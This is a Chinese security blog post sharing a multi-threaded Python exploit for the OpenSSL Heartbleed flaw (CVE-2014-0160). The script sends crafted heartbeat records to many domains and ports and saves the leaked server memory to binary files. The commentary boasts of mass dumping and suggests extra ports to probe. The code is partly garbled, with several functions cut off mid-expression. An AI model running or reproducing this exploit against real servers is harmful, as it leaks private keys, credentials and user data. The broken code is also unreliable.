#!/usr/bin/python # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) # The author disclaims copyright to this source code. # Multi process and bin dump version by [email protected] import sys import struct import socket import time import select import re from multiprocessing import Process,Lock,Manager THREADS = 5 lock = Lock() def h2bin(x): return x.replace(' ', '').replace('n', '').decode('hex') hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') hb = h2bin(''' 18 03 02 00 03 01 40 00 ''') def hexdump(s): for b in xrange(0, len(s), 64): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % ord(c) for c in lin) pdat = ''.join((c if 32 0: rtime = endtime - time.time() if rtime BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print 'Unexpected EOF receiving record payload - server closed connection' return None, None, None #print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) return typ, ver, pay def hit_hb(s,fn): s.send(hb) while True: typ, ver, pay = recvmsg(s) if typ is None: print 'No heartbeat response received, server likely not vulnerable' return False if typ == 24: #print 'Received heartbeat response:' hexwrite(pay,fn) if len(pay)使用方法很简单,建议在linux下运行,windows下有兼容性问题。
默认每个ip开5线程。
昨天小伙伴们用这个把10多个vps的硬盘跑满了……
顺带说一句,可以试试看465,995, 8443之类的端口,有惊喜。
刚更新了个bug,
print 'fucking '+domain+' @ port '+str(port)+'...' continue fn=open(domain+'.bin','ab')main()里面这里多了个continue,之前测试忘了删了。
下载地址:
https://raw.githubusercontent.com/AnthraX1/InsightScan/master/heartbroken_bin.py
相关内容:
openssl 多线程 多域名 EXP,支持自定义端口,保存二进制文件,节省空间
openssl 漏洞利用程序,支持smtp, pop3, imap, ftp, or xmpp的POC
OpenSSL 漏洞利用程序脚本 POC,OpenSSL“heartbleed”重大安全漏洞!
留言评论(旧系统):
文章来源于lcx.cc:openssl 多线程 多域名 EXP,支持自定义端口,保存二进制文件,节省空间
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论